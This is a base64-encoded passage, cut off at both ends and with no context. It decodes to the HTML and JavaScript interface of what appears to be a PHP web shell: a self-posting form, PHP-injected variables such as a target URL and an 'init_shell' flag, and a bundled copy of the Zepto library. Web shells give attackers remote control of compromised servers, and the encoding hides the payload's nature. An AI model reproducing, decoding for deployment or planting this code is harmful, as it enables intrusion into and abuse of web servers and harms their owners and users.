gaWQ9J3RvYm90dG9tJz48L2Rpdj4KPC9kaXY+Cjx0YWJsZSBpZD0ib3ZlcmxheSI+PHRyPjx0ZD48ZGl2IGlkPSJsb2FkaW5nIiBvbmRibGNsaWNrPSdsb2FkaW5nX3N0b3AoKTsnPjwvZGl2PjwvdGQ+PC90cj48L3RhYmxlPgo8Zm9ybSBhY3Rpb249Jzw/cGhwIGVjaG8gZ2V0X3NlbGYoKTsgPz4nIG1ldGhvZD0ncG9zdCcgaWQ9J2Zvcm0nIHRhcmdldD0nX2JsYW5rJz48L2Zvcm0+CjwhLS1zY3JpcHQgc3RhcnQtLT4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnPgp2YXIgdGFyZ2V0dXJsID0gJzw/cGhwIGVjaG8gZ2V0X3NlbGYoKTsgPz4nOwp2YXIgbSA9ICc8P3BocCBlY2hvIGltcGxvZGUoIiwiLCAkR0xPQkFMU1snbSddKTs/Pic7CnZhciB3aW4gPSA8P3BocCBlY2hvIChpc193aW4oKSk/J3RydWUnOidmYWxzZSc7Pz47CnZhciBpbml0X3NoZWxsID0gdHJ1ZTsKLyogWmVwdG8gdjEuMS4yIC0gemVwdG8gZXZlbnQgYWpheCBmb3JtIGllIC0gemVwdG9qcy5jb20vbGljZW5zZSAqLwp2YXIgWmVwdG89ZnVuY3Rpb24oKXtmdW5jdGlvbiBHKGEpe3JldHVybiBhPT1udWxsP1N0cmluZyhhKTp6W0EuY2FsbChhKV18fCJvYmplY3QifWZ1bmN0aW9uIEgoYSl7cmV0dXJuIEcoYSk9PSJmdW5jdGlvbiJ9ZnVuY3Rpb24gSShhKXtyZXR1cm4gYSE9bnVsbCYmYT09YS53aW5kb3d9ZnVuY3Rpb24gSihhKXtyZXR1cm4gYSE9bnVsbCYmYS5ub2RlVHlwZT09YS5ET0NVTUVOVF9OT0RFfWZ1bmN0aW9uIEsoYSl7cmV0dXJuIEcoYSk9PSJvYmplY3QifWZ1bmN0aW9uIEwoYSl7cmV0dXJuIEsoYSkmJiFJKGEpJiZPYmplY3QuZ2V0UHJvdG90eXBlT2YoYSk9PU9iamVjdC5wcm90b3R5cGV9ZnVuY3Rpb24gTShhKXtyZXR1cm4gYSBpbnN0YW5jZW9mIEFycmF5fWZ1bmN0aW9uIE4oYSl7cmV0dXJuIHR5cGVvZiBhLmxlbmd0aD09Im51bWJlciJ9ZnVuY3Rpb24gTyhhKXtyZXR1cm4gZy5jYWxsKGEsZnVuY3Rpb24oYSl7cmV0dXJuIGEhPW51bGx9KX1mdW5jdGlvbiBQKGEpe3JldHVybiBhLmxlbmd0aD4wP2MuZm4uY29uY2F0LmFwcGx5KFtdLGEpOmF9ZnVuY3Rpb24gUShhKXtyZXR1cm4gYS5yZXBsYWNlKC86Oi9nLCIvIikucmVwbGFjZSgvKFtBLVpdKykoW0EtWl1bYS16XSkvZywiJDFfJDIiKS5yZXBsYWNlKC8oW2EtelxkXSkoW0EtWl0pL2csIiQxXyQyIikucmVwbGFjZSgvXy9nLCItIikudG9Mb3dlckNhc2UoKX1mdW5jdGlvbiBSKGEpe3JldHVybiBhIGluIGo/althXTpqW2FdPW5ldyBSZWdFeHAoIihefFxccykiK2ErIihcXHN8JCkiKX1mdW5jdGlvbiBTKGEsYil7cmV0dXJuIHR5cGVvZiBiPT0ibnVtYmVyIiYmIWtbUShhKV0/YisicHgiOmJ9ZnVuY3Rpb24gVChhKXt2YXIgYixjO3JldHVybiBpW2FdfHwoYj1oLmNyZWF0ZUVsZW1lbnQoYSksaC5ib2R5LmFwcGVuZENoaWxkKGIpLGM9Z2V0Q29tcHV0ZWRTdHlsZShiLCIiKS5nZXRQcm9wZXJ0eVZhbHVlKCJkaXNwbGF5IiksYi5wYXJlbnROb2RlLnJlbW92ZUNoaWxkKGIpLGM9PSJub25lIiYmKGM9ImJsb2NrIiksaVthXT1jKSxpW2FdfWZ1bmN0aW9uIFUoYSl7cmV0dXJuImNoaWxkcmVuImluIGE/Zi5jYWxsKGEuY2hpbGRyZW4pOmMubWFwKGEuY2hpbGROb2RlcyxmdW5jdGlvbihhKXtpZihhLm5vZGVUeXBlPT0xKXJldHVybiBhfSl9ZnVuY3Rpb24gVihjLGQsZSl7Zm9yKGIgaW4gZCllJiYoTChkW2JdKXx8TShkW2JdKSk/KEwoZFtiXSkmJiFMKGNbYl0pJiYoY1tiXT17fSksTShkW2JdKSYmIU0oY1tiXSkmJihjW2JdPVtdKSxWKGNbYl0sZFtiXSxlKSk6ZFtiXSE9PWEmJihjW2JdPWRbYl0pfWZ1bmN0aW9uIFcoYSxiKXtyZXR1cm4gYj09bnVsbD9jKGEpOmMoYSkuZmlsdGVyKGIpfWZ1bmN0aW9uIFgoYSxiLGMsZCl7cmV0dXJuIEgoYik/Yi5jYWxsKGEsYyxkKTpifWZ1bmN0aW9uIFkoYSxiLGMpe2M9PW51bGw/YS5yZW1vdmVBdHRyaWJ1dGUoYik6YS5zZXRBdHRyaWJ1dGUoYixjKX1mdW5jdGlvbiBaKGIsYyl7dmFyIGQ9Yi5jbGFzc05hbWUsZT1kJiZkLmJhc2VWYWwhPT1hO2lmKGM9PT1hKXJldHVybiBlP2QuYmFzZVZhbDpkO2U/ZC5iYXNlVmFsPWM6Yi5jbGFzc05hbWU9Y31mdW5jdGlvbiAkKGEpe3ZhciBiO3RyeXtyZXR1cm4gYT9hPT0idHJ1ZSJ8fChhPT0iZmFsc2UiPyExOmE9PSJudWxsIj9udWxsOiEvXjAvLnRlc3QoYSkmJiFpc05hTihiPU51bWJlcihhKSk/YjovXltcW1x7XS8udGVzdChhKT9jLnBhcnNlSlNPTihhKTphKTphfWNhdGNoKGQpe3JldHVybiBhfX1mdW5jdGlvbiBfKGEsYil7YihhKTtmb3IodmFyIGMgaW4gYS5jaGlsZE5vZGVzKV8oYS5jaGlsZE5vZGVzW2NdLGIpfXZhciBhLGIsYyxkLGU9W10sZj1lLnNsaWNlLGc9ZS5maWx0ZXIsaD13aW5kb3cuZG9jdW1lbnQsaT17fSxqPXt9LGs9eyJjb2x1bW4tY291bnQiOjEsY29sdW1uczoxLCJmb250LXdlaWdodCI6MSwibGluZS1oZWlnaHQiOjEsb3BhY2l0eToxLCJ6LWluZGV4IjoxLHpvb206MX0sbD0vXlxzKjwoXHcrfCEpW14+XSo+LyxtPS9ePChcdyspXHMqXC8/Pig/OjxcL1wxPnwpJC8sbj0vPCg/IWFyZWF8YnJ8Y29sfGVtYmVkfGhyfGltZ3xpbnB1dHxsaW5rfG1ldGF8cGFyYW0pKChbXHc6XSspW14+XSopXC8+L2lnLG89L14oPzpib2R5fGh0bWwpJC9pLHA9LyhbQS1aXSkvZyxxPVsidmFsIiwiY3NzIiwiaHRtbCIsInRleHQiLCJkYXRhIiwid2lkdGgiLCJoZWlnaHQiLCJvZmZzZXQiXSxyPVsiYWZ0ZXIiLCJwcmVwZW5kIiwiYmVmb3JlIiwiYXBwZW5kIl0scz1oLmNyZWF0ZUVsZW1lbnQoInRhYmxlIiksdD1oLmNyZWF0ZUVsZW1lbnQoInRyIiksdT17dHI6aC5jcmVhdGVFbGVtZW50KCJ0Ym9keSIpLHRib2R5OnMsdGhlYWQ6cyx0Zm9vdDpzLHRkOnQsdGg6dCwiKiI6aC5jcmVhdGVFbGVtZW50KCJkaXYiKX0sdj0vY29tcGxldGV8bG9hZGVkfGludGVyYWN0aXZlLyx3PS9eXC4oW1x3LV0rKSQvLHg9L14jKFtcdy1dKikkLyx5PS9eW1x3LV0qJC8sej17fSxBPXoudG9TdHJpbmcsQj17fSxDLEQsRT1oLmNyZWF0ZUVsZW1lbnQoImRpdiIpLEY9e3RhYmluZGV4OiJ0YWJJbmRleCIscmVhZG9ubHk6InJlYWRPbmx5IiwiZm9yIjoiaHRtbEZvciIsImNsYXNzIjoiY2xhc3NOYW1lIixtYXhsZW5ndGg6Im1heExlbmd0aCIsY2VsbHNwYWNpbmc6ImNlbGxTcGFjaW5nIixjZWxscGFkZGluZzoiY2VsbFBhZGRpbmciLHJvd3NwYW46InJvd1NwYW4iLGNvbHNwYW46ImNvbFNwYW4iLHVzZW1hcDoidXNlTWFwIixmcmFtZWJvcmRlcjoiZnJhbWVCb3JkZXIiLGNvbnRlbnRlZGl0YWJsZToiY29udGVudEVkaXRhYmxlIn07cmV0dXJuIEIubWF0Y2hlcz1mdW5jdGlvbihhLGIpe2lmKCFifHwhYXx8YS5ub2RlVHlwZSE9PTEpcmV0dXJuITE7dmFyIGM9YS53ZWJraXRNYXRjaGVzU2VsZWN0b3J8fGEubW96TWF0Y2hlc1NlbGVjdG9yfHxhLm9NYXRjaGVzU2VsZWN0b3J8fGEubWF0Y2hlc1NlbGVjdG9yO2lmKGMpcmV0dXJuIGMuY2FsbChhLGIpO3ZhciBkLGU9YS5wYXJlbnROb2RlLGY9IWU7cmV0dXJuIGYmJihlPUUpLmFwcGVuZENoaWxkKGEpLGQ9fkIucXNhKGUsYikuaW5kZXhPZihhKSxmJiZFLnJlbW92ZUNoaWxkKGEpLGR9LEM9ZnVuY3Rpb24oYSl7cmV0dXJuIGEucmVwbGFjZSgvLSsoLik/L2csZnVuY3Rpb24oYSxiKXtyZXR1cm4gYj9iLnRvVXBwZXJDYXNlKCk6IiJ9KX0sRD1mdW5jdGlvbihhKXtyZXR1cm4gZy5jYWxsKGEsZnVuY3Rpb24oYixjKXtyZXR1cm4gYS5pbmRleE9mKGIpPT1jfSl9LEIuZnJhZ21lbnQ9ZnVuY3Rpb24oYixkLGUpe3ZhciBnLGksajtyZXR1cm4gbS50ZXN0KGIpJiYoZz1jKGguY3JlYXRlRWxlbWVudChSZWdFeHAuJDEpKSksZ3x8KGIucmVwbGFjZSYmKGI9Yi5yZXBsYWNlKG4sIjwkMT48LyQyPiIpKSxkPT09YSYmKGQ9bC50ZXN0KGIpJiZSZWdFeHAuJDEpLGQgaW4gdXx8KGQ9IioiKSxqPXVbZF0sai5pbm5lckhUTUw9IiIrYixnPWMuZWFjaChmLmNhbGwoai5jaGlsZE5vZGVzKSxmdW5jdGlvbigpe2oucmVtb3ZlQ2hpbGQodGhpcyl9KSksTChlKSYmKGk9YyhnKSxjLmVhY2goZSxmdW5jdGlvbihhLGIpe3EuaW5kZXhPZihhKT4tMT9pW2FdKGIpOmkuYXR0cihhLGIpfSkpLGd9LEIuWj1mdW5jdGlvbihhLGIpe3JldHVybiBhPWF8fFtdLGEuX19wcm90b19fPWMuZm4sYS5zZWxlY3Rvcj1ifHwiIixhfSxCLmlzWj1mdW5jdGlvbihhKXtyZXR1cm4gYSBpbnN0YW5jZW9mIEIuWn0sQi5pbml0PWZ1bmN0aW9uKGIsZCl7dmFyIGU7aWYoIWIpcmV0dXJuIEIuWigpO2lmKHR5cGVvZiBiPT0ic3RyaW5nIil7Yj1iLnRyaW0oKTtpZihiWzBdPT0iPCImJmwudGVzdChiKSllPUIuZnJhZ21lbnQoYixSZWdFeHAuJDEsZCksYj1udWxsO2Vsc2V7aWYoZCE9PWEpcmV0dXJuIGMoZCkuZmluZChiKTtlPUIucXNhKGgsYil9fWVsc2V7aWYoSChiKSlyZXR1cm4gYyhoKS5yZWFkeShiKTtpZihCLmlzWihiKSlyZXR1cm4gYjtpZihNKGIpKWU9TyhiKTtlbHNlIGlmKEsoYikpZT1bYl0sYj1udWxsO2Vsc2UgaWYobC50ZXN0KGIpKWU9Qi5mcmFnbWVudChiLnRyaW0oKSxSZWdFeHAuJDEsZCksYj1udWxsO2Vsc2V7aWYoZCE9PWEpcmV0dXJuIGMoZCkuZmluZChiKTtlPUIucXNhKGgsYil9fXJldHVybiBCLlooZSxiKX0sYz1mdW5jdGlvbihhLGIpe3JldHVybiBCLmluaXQoYSxiKX0sYy5leHRlbmQ9ZnVuY3Rpb24oYSl7dmFyIGIsYz1mLmNhbGwoYXJndW1lbnRzLDEpO3JldHVybiB0eXBlb2YgYT09ImJvb2xlYW4iJiYoYj1hLGE9Yy5zaGlmdCgpKSxjLmZvckVhY2goZnVuY3Rpb24oYyl7VihhLGMsYil9KSxhfSxCLnFzYT1mdW5jdGlvbihhLGIpe3ZhciBjLGQ9YlswXT09IiMiLGU9IWQmJmJbMF09PSIuIixnPWR8fGU/Yi5zbGljZSgxKTpiLGg9eS50ZXN0KGcpO3JldHVybiBKKGEpJiZoJiZkPyhjPWEuZ2V0RWxlbWVudEJ5SWQoZykpP1tjXTpbXTphLm5vZGVUeXBlIT09MSYmYS5ub2RlVHlwZSE9PTk/W106Zi5jYWxsKGgmJiFkP2U/YS5nZXRFbGVtZW50c0J5Q2xhc3NOYW1lKGcpOmEuZ2V0RWxlbWVudHNCeVRhZ05hbWUoYik6YS5xdWVyeVNlbGVjdG9yQWxsKGIpKX0sYy5jb250YWlucz1mdW5jdGlvbihhLGIpe3JldHVybiBhIT09YiYmYS5jb250YWlucyhiKX0sYy50eXBlPUcsYy5pc0Z1bmN0aW9uPUgsYy5pc1dpbmRvdz1JLGMuaXNBcnJheT1NLGMuaXNQbGFpbk9iamVjdD1MLGMuaXNFbXB0eU9iamVjdD1mdW5jdGlvbihhKXt2YXIgYjtmb3IoYiBpbiBhKXJldHVybiExO3JldHVybiEwfSxjLmluQXJyYXk9ZnVuY3Rpb24oYSxiLGMpe3JldHVybiBlLmluZGV4T2YuY2FsbChiLGEsYyl9LGMuY2FtZWxDYXNlPUMsYy50cmltPWZ1bmN0aW9uKGEpe3JldHVybiBhPT1udWxsPyIiOlN0cmluZy5wcm90b3R5cGUudHJpbS5jYWxsKGEpfSxjLnV1aWQ9MCxjLnN1cHBvcnQ9e30sYy5leHByPXt9LGMubWFwPWZ1bmN0aW9uKGEsYil7dmFyIGMsZD1bXSxlLGY7aWYoTihhKSlmb3IoZT0wO2U8YS5sZW5ndGg7ZSsrKWM9YihhW2VdLGUpLGMhPW51bGwmJmQucHVzaChjKTtlbHNlIGZvcihmIGluIGEpYz1iKGFbZl0sZiksYyE9bnVsbCYmZC5wdXNoKGMpO3JldHVybiBQKGQpfSxjLmVhY2g9ZnVuY3Rpb24oYSxiKXt2YXIgYyxkO2lmKE4oYSkpe2ZvcihjPTA7YzxhLmxlbmd0aDtjKyspaWYoYi5jYWxsKGFbY10sYyxhW2NdKT09PSExKXJldHVybiBhfWVsc2UgZm9yKGQgaW4gYSlpZihiLmNhbGwoYVtkXSxkLGFbZF0pPT09ITEpcmV0dXJuIGE7cmV0dXJuIGF9LGMuZ3JlcD1mdW5jdGlvbihhLGIpe3JldHVybiBnLmNhbGwoYSxiKX0sd2luZG93LkpTT04mJihjLnBhcnNlSlNPTj1KU09OLnBhcnNlKSxjLmVhY2goIkJvb2xlYW4gTnVtYmVyIFN0cmluZyBGdW5jdGlvbiBBcnJheSBEYXRlIFJlZ0V4cCBPYmplY3QgRXJyb3IiLnNwbGl0KCIgIiksZnVuY3Rpb24oYSxiKXt6WyJbb2JqZWN0ICIrYisiXSJdPWIudG9Mb3dlckNhc2UoKX0pLGMuZm49e2ZvckVhY2g6ZS5mb3JFYWNoLHJlZHVjZTplLnJlZHVjZSxwdXNoOmUucHVzaCxzb3J0OmUuc29ydCxpbmRleE9mOmUuaW5kZXhPZixjb25jYXQ6ZS5jb25jYXQsbWFwOmZ1bmN0aW9uKGEpe3JldHVybiBjKGMubWFwKHRoaXMsZnVuY3Rpb24oYixjKXtyZXR1cm4gYS5jYWxsKGIsYyxiKX0pKX0sc2xpY2U6ZnVuY3Rpb24oKXtyZXR1cm4gYyhmLmFwcGx5KHRoaXMsYXJndW1lbnRzKSl9LHJlYWR5OmZ1bmN0aW9uKGEpe3JldHVybiB2LnRlc3QoaC5yZWFkeVN0YXRlKSYmaC5ib2R5P2EoYyk6aC5hZGRFdmVudExpc3RlbmVyKCJET01Db250ZW50TG9hZGVkIixmdW5jdGlvbigpe2EoYyl9LCExKSx0aGlzfSxnZXQ6ZnVuY3Rpb24oYil7cmV0dXJuIGI9PT1hP2YuY2FsbCh0aGlzKTp0aGlzW2I+PTA/YjpiK3RoaXMubGVuZ3RoXX0sdG9BcnJheTpmdW5jdGlvbigpe3JldHVybiB0aGlzLmdldCgpfSxzaXplOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMubGVuZ3RofSxyZW1vdmU6ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy5lYWNoKGZ1bmN0aW9uKCl7dGhpcy5wYXJlbnROb2RlIT1udWxsJiZ0aGlzLnBhcmVudE5vZGUucmVtb3ZlQ2hpbGQodGhpcyl9KX0sZWFjaDpmdW5jdGlvbihhKXtyZXR1cm4gZS5ldmVyeS5jYWxsKHRoaXMsZnVuY3Rpb24oYixjKXtyZXR1cm4gYS5jYWxsKGIsYyxiKSE9PSExfSksdGhpc30sZmlsdGVyOmZ1bmN0aW9uKGEpe3JldHVybiBIKGEpP3RoaXMubm90KHRoaXMubm90KGEpKTpjKGcuY2FsbCh0aGlzLGZ1bmN0aW9uKGIpe3JldHVybiBCLm1hdGNoZXMoYixhKX0pKX0sYWRkOmZ1bmN0aW9uKGEsYil7cmV0dXJuIGMoRCh0aGlzLmNvbmNhdChjKGEsYikpKSl9LGlzOmZ1bmN0aW9uKGEpe3JldHVybiB0aGlzLmxlbmd0aD4wJiZCLm1hdGNoZXModGhpc1swXSxhKX0sbm90OmZ1bmN0aW9uKGIpe3ZhciBkPVtdO2lmKEgoYikmJmIuY2FsbCE9PWEpdGhpcy5lYWNoKGZ1bmN0aW9uKGEpe2IuY2FsbCh0aGlzLGEpfHxkLnB1c2godGhpcyl9KTtlbHNle3ZhciBlPXR5cGVvZiBiPT0ic3RyaW5nIj90aGlzLmZpbHRlcihiKTpOKGIpJiZIKGIuaXRlbSk/Zi5jYWxsKGIpOmMoYik7dGhpcy5mb3JFYWNoKGZ1bmN0aW9uKGEpe2UuaW5kZXhPZihhKTwwJiZkLnB1c2goYSl9KX1yZXR1cm4gYyhkKX0saGFzOmZ1bmN0aW9uKGEpe3JldHVybiB0aGlzLmZpbHRlcihmdW5jdGlvbigpe3JldHVybiBLKGEpP2MuY29udGFpbnModGhpcyxhKTpjKHRoaXMpLmZpbmQoYSkuc2l6ZSgpfSl9LGVxOmZ1bmN0aW9uKGEpe3JldHVybiBhPT09LTE/dGhpcy5zbGljZShhKTp0aGlzLnNsaWNlKGEsK2ErMSl9LGZpcnN0OmZ1bmN0aW9uKCl7dmFyIGE9dGhpc1swXTtyZXR1cm4gYSYmIUsoYSk/YTpjKGEpfSxsYXN0OmZ1bmN0aW9uKCl7dmFyIGE9dGhpc1t0aGlzLmxlbmd0aC0xXTtyZXR1cm4gYSYmIUsoYSk/YTpjKGEpfSxmaW5kOmZ1bmN0aW9uKGEpe3ZhciBiLGQ9dGhpcztyZXR1cm4gdHlwZW9mIGE9PSJvYmplY3QiP2I9YyhhKS5maWx0ZXIoZnVuY3Rpb24oKXt2YXIgYT10aGlzO3JldHVybiBlLnNvbWUuY2FsbChkLGZ1bmN0aW9uKGIpe3JldHVybiBjLmNvbnRhaW5zKGIsYSl9KX0pOnRoaXMubGVuZ3RoPT0xP2I9YyhCLnFzYSh0aGlzWzBdLGEpKTpiPXRoaXMubWFwKGZ1bmN0aW9uKCl7cmV0dXJuIEIucXNhKHRoaXMsYSl9KSxifSxjbG9zZXN0OmZ1bmN0aW9uKGEsYil7dmFyIGQ9dGhpc1swXSxlPSExO3R5cGVvZiBhPT0ib2JqZWN0IiYmKGU9YyhhKSk7d2hpbGUoZCYmIShlP2UuaW5kZXhPZihkKT49MDpCLm1hdGNoZXMoZCxhKSkpZD1kIT09YiYmIUooZCkmJmQucGFyZW50Tm9kZTtyZXR1cm4gYyhkKX0scGFyZW50czpmdW5jdGlvbihhKXt2YXIgYj1bXSxkPXRoaXM7d2hpbGUoZC5sZW5ndGg+MClkPWMubWFwKGQsZnVuY3Rpb24oYSl7aWYoKGE9YS5wYXJlbnROb2RlKSYmIUooYSkmJmIuaW5kZXhPZihhKTwwKXJldHVybiBiLnB1c2goYSksYX0pO3JldHVybiBXKGIsYSl9LHBhcmVudDpmdW5jdGlvbihhKXtyZXR1cm4gVyhEKHRoaXMucGx1Y2soInBhcmVudE5vZGUiKSksYSl9LGNoaWxkcmVuOmZ1bmN0aW9uKGEpe3JldHVybiBXKHRoaXMubWFwKGZ1bmN0aW9uKCl7cmV0dXJuIFUodGhpcyl9KSxhKX0sY29udGVudHM6ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy5tYXAoZnVuY3Rpb24oKXtyZXR1cm4gZi5jYWxsKHRoaXMuY2hpbGROb2Rlcyl9KX0sc2libGluZ3M6ZnVuY3Rpb24oYSl7cmV0dXJuIFcodGhpcy5tYXAoZnVuY3Rpb24oYSxiKXtyZXR1cm4gZy5jYWxsKFUoYi5wYXJlbnROb2RlKSxmdW5jdGlvbihhKXtyZXR1cm4gYSE9PWJ9KX0pLGEpfSxlbXB0eTpmdW5jdGlvbigpe3JldHVybiB0aGlzLmVhY2goZnVuY3Rpb24oKXt0aGlzLmlubmVySFRNTD0iIn0pfSxwbHVjazpmdW5jdGlvbihhKXtyZXR1cm4gYy5tYXAodGhpcyxmdW5jdGlvbihiKXtyZXR1cm4gYlthXX0pfSxzaG93OmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuZWFjaChmdW5jdGlvbigpe3RoaXMuc3R5bGUuZGlzcGxheT09Im5vbmUiJiYodGhpcy5zdHlsZS5kaXNwbGF5PSIiKSxnZXRDb21wdXRlZFN0eWxlKHRoaXMsIiIpLmdldFByb3BlcnR5VmFsdWUoImRpc3BsYXkiKT09Im5vbmUiJiYodGhpcy5zdHlsZS5kaXNwbGF5PVQodGhpcy5ub2RlTmFtZSkpfSl9LHJlcGxhY2VXaXRoOmZ1bmN0aW9uKGEpe3JldHVybiB0aGlzLmJlZm9yZShhKS5yZW1vdmUoKX0sd3JhcDpmdW5jdGlvbihhKXt2YXIgYj1IKGEpO2lmKHRoaXNbMF0mJiFiKXZhciBkPWMoYSkuZ2V0KDApLGU9ZC5wYXJlbnROb2RlfHx0aGlzLmxlbmd0aD4xO3JldHVybiB0aGlzLmVhY2goZnVuY3Rpb24oZil7Yyh0aGlzKS53cmFwQWxsKGI/YS5jYWxsKHRoaXMsZik6ZT9kLmNsb25lTm9kZSghMCk6ZCl9KX0sd3JhcEFsbDpmdW5jdGlvbihhKXtpZih0aGlzWzBdKXtjKHRoaXNbMF0pLmJlZm9yZShhPWMoYSkpO3ZhciBiO3doaWxlKChiPWEuY2hpbGRyZW4oKSkubGVuZ3RoKWE9Yi5maXJzdCgpO2MoYSkuYXBwZW5kKHRoaXMpfXJldHVybiB0aGlzfSx3cmFwSW5uZXI6ZnVuY3Rpb24oYSl7dmFyIGI9SChhKTtyZXR1cm4gdGhpcy5lYWNoKGZ1bmN0aW9uKGQpe3ZhciBlPWModGhpcyksZj1lLmNvbnRlbnRzKCksZz1iP2EuY2FsbCh0aGlzLGQpOmE7Zi5sZW5ndGg/Zi53cmFwQWxsKGcpOmUuYXBwZW5kKGcpfSl9LHVud3JhcDpmdW5jdGlvbigpe3JldHVybiB0aGlzLnBhcmVudCgpLmVhY2goZnVuY3Rpb24oKXtjKHRoaXMpLnJlcGxhY2VXaXRoKGModGhpcykuY2hpbGRyZW4oKSl9KSx0aGlzfSxjbG9uZTpmdW5jdGlvbigpe3JldHVybiB0aGlzLm1hcChmdW5jdGlvbigpe3JldHVybiB0aGlzLmNsb25lTm9kZSghMCl9KX0saGlkZTpmdW5jdGlvbigpe3JldHVybiB0aGlzLmNzcygiZGlzcGxheSIsIm5vbmUiKX0sdG9nZ2xlOmZ1bmN0aW9uKGIpe3JldHVybiB0aGlzLmVhY2goZnVuY3Rpb24oKXt2YXIgZD1jKHRoaXMpOyhiPT09YT9kLmNzcygiZGlzcGxheSIpPT0ibm9uZSI6Yik/ZC5zaG93KCk6ZC5oaWRlKCl9KX0scHJldjpmdW5jdGlvbihhKXtyZXR1cm4gYyh0aGlzLnBsdWNrKCJwcmV2aW91c0VsZW1lbnRTaWJsaW5nIikpLmZpbHRlcihhfHwiKiIpfSxuZXh0OmZ1bmN0aW9uKGEpe3JldHVybiBjKHRoaXMucGx1Y2soIm5leHRFbGVtZW50U2libGluZyIpKS5maWx0ZXIoYXx8IioiKX0saHRtbDpmdW5jdGlvbihhKXtyZXR1cm4gYXJndW1lbnRzLmxlbmd0aD09PTA/dGhpcy5sZW5ndGg+MD90aGlzWzBdLmlubmVySFRNTDpudWxsOnRoaXMuZWFjaChmdW5jdGlvbihiKXt2YXIgZD10aGlzLmlubmVySFRNTDtjKHRoaXMpLmVtcHR5KCkuYXBwZW5kKFgodGhpcyxhLGIsZCkpfSl9LHRleHQ6ZnVuY3Rpb24oYil7cmV0dXJuIGFyZ3VtZW50cy5sZW5ndGg9PT0wP3RoaXMubGVuZ3RoPjA/dGhpc1swXS50ZXh0Q29udGVudDpudWxsOnRoaXMuZWFjaChmdW5jdGlvbigpe3RoaXMudGV4dENvbnRlbnQ9Yj09PWE/IiI6IiIrYn0pfSxhdHRyOmZ1bmN0aW9uKGMsZCl7dmFyIGU7cmV0dXJuIHR5cGVvZiBjPT0ic3RyaW5nIiYmZD09PWE/dGhpcy5sZW5ndGg9PTB8fHRoaXNbMF0ubm9kZVR5cGUhPT0xP2E6Yz09InZhbHVlIiYmdGhpc1swXS5ub2RlTmFtZT09IklOUFVUIj90aGlzLnZhbCgpOiEoZT10aGlzWzBdLmdldEF0dHJpYnV0ZShjKSkmJmMgaW4gdGhpc1swXT90aGlzWzBdW2NdOmU6dGhpcy5lYWNoKGZ1bmN0aW9uKGEpe2lmKHRoaXMubm9kZVR5cGUhPT0xKXJldHVybjtpZihLKGMpKWZvcihiIGluIGMpWSh0aGlzLGIsY1tiXSk7ZWxzZSBZKHRoaXMsYyxYKHRoaXMsZCxhLHRoaXMuZ2V0QXR0cmlidXRlKGMpKSl9KX0scmVtb3ZlQXR0cjpmdW5jdGlvbihhKXtyZXR1cm4gdGhpcy5lYWNoKGZ1bmN0aW9uKCl7dGhpcy5ub2RlVHlwZT09PTEmJlkodGhpcyxhKX0pfSxwcm9wOmZ1bmN0aW9uKGIsYyl7cmV0dXJuIGI9RltiXXx8YixjPT09YT90aGlzWzBdJiZ0aGlzWzBdW2JdOnRoaXMuZWFjaChmdW5jdGlvbihhKXt0aGlzW2JdPVgodGhpcyxjLGEsdGhpc1tiXSl9KX0sZGF0YTpmdW5jdGlvbihiLGMpe3ZhciBkPXRoaXMuYXR0cigiZGF0YS0iK2IucmVwbGFjZShwLCItJDEiKS50b0xvd2VyQ2FzZSgpLGMpO3JldHVybiBkIT09bnVsbD8kKGQpOmF9LHZhbDpmdW5jdGlvbihhKXtyZXR1cm4gYXJndW1lbnRzLmxlbmd0aD09PTA/dGhpc1swXSYmKHRoaXNbMF0ubXVsdGlwbGU/Yyh0aGlzWzBdKS5maW5kKCJvcHRpb24iKS5maWx0ZXIoZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy5zZWxlY3RlZH0pLnBsdWNrKCJ2YWx1ZSIpOnRoaXNbMF0udmFsdWUpOnRoaXMuZWFjaChmdW5jdGlvbihiKXt0aGlzLnZhbHVlPVgodGhpcyxhLGIsdGhpcy52YWx1ZSl9KX0sb2Zmc2V0OmZ1bmN0aW9uKGEpe2lmKGEpcmV0dXJuIHRoaXMuZWFjaChmdW5jdGlvbihiKXt2YXIgZD1jKHRoaXMpLGU9WCh0aGlzLGEsYixkLm9mZnNldCgpKSxmPWQub2Zmc2V0UGFyZW50KCkub2Zmc2V0KCksZz17dG9wOmUudG9wLWYudG9wLGxlZnQ6ZS5sZWZ0LWYubGVmdH07ZC5jc3MoInBvc2l0aW9uIik9PSJzdGF0aWMiJiYoZy5wb3NpdGlvbj0icmVsYXRpdmUiKSxkLmNzcyhnKX0pO2lmKHRoaXMubGVuZ3RoPT0wKXJldHVybiBudWxsO3ZhciBiPXRoaXNbMF0uZ2V0Qm91bmRpbmdDbGllbnRSZWN0KCk7cmV0dXJue2xlZnQ6Yi5sZWZ0K3dpbmRvdy5wYWdlWE9mZnNldCx0b3A6Yi50b3Ard2luZG93LnBhZ2VZT2Zmc2V0LHdpZHRoOk1hdGgucm91bmQoYi53aWR0aCksaGVpZ2h0Ok1hdGgucm91bmQoYi5oZWlnaHQpfX0sY3NzOmZ1bmN0aW9uKGEsZCl7aWYoYXJndW1lbnRzLmxlbmd0aDwyKXt2YXIgZT10aGlzWzBdLGY9Z2V0Q29tcHV0ZWRTdHlsZShlLCIiKTtpZighZSlyZXR1cm47aWYodHlwZW9mIGE9PSJzdHJpbmciKXJldHVybiBlLnN0eWxlW0MoYSldfHxmLmdldFByb3BlcnR5VmFsdWUoYSk7aWYoTShhKSl7dmFyIGc9e307cmV0dXJuIGMuZWFjaChNKGEpP2E6W2FdLGZ1bmN0aW9uKGEsYil7Z1tiXT1lLnN0eWxlW0MoYildfHxmLmdldFByb3BlcnR5VmFsdWUoYil9KSxnfX12YXIgaD0iIjtpZihHKGEpPT0ic3RyaW5nIikhZCYmZCE9PTA/dGhpcy5lYWNoKGZ1bmN0aW9uKCl7dGhpcy5zdHlsZS5yZW1vdmVQcm9wZXJ0eShRKGEpKX0pOmg9UShhKSsiOiIrUyhhLGQpO2Vsc2UgZm9yKGIgaW4gYSkhYVtiXSYmYVtiXSE9PTA/dGhpcy5lYWNoKGZ1bmN0aW9uKCl7dGhpcy5zdHlsZS5yZW1vdmVQcm9wZXJ0eShRKGIpKX0pOmgrPVEoYikrIjoiK1MoYixhW2JdKSsiOyI7cmV0dXJuIHRoaXMuZWFjaChmdW5jdGlvbigpe3RoaXMuc3R5bGUuY3NzVGV4dCs9IjsiK2h9KX0saW5kZXg6ZnVuY3